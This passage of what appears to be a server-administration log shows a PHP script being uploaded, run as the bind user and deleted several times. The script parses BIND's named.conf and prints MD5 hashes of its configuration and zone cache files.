MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:37:55: Establishing a connection
2026-04-23 12:37:55: 

PUT: /tmp/pkp222665

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:37:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp222665; rm /tmp/pkp222665'

2026-04-23 12:37:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:37:57: Establishing a connection
2026-04-23 12:37:57: 

PUT: /tmp/pkp849268

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:37:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp849268; rm /tmp/pkp849268'

2026-04-23 12:37:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
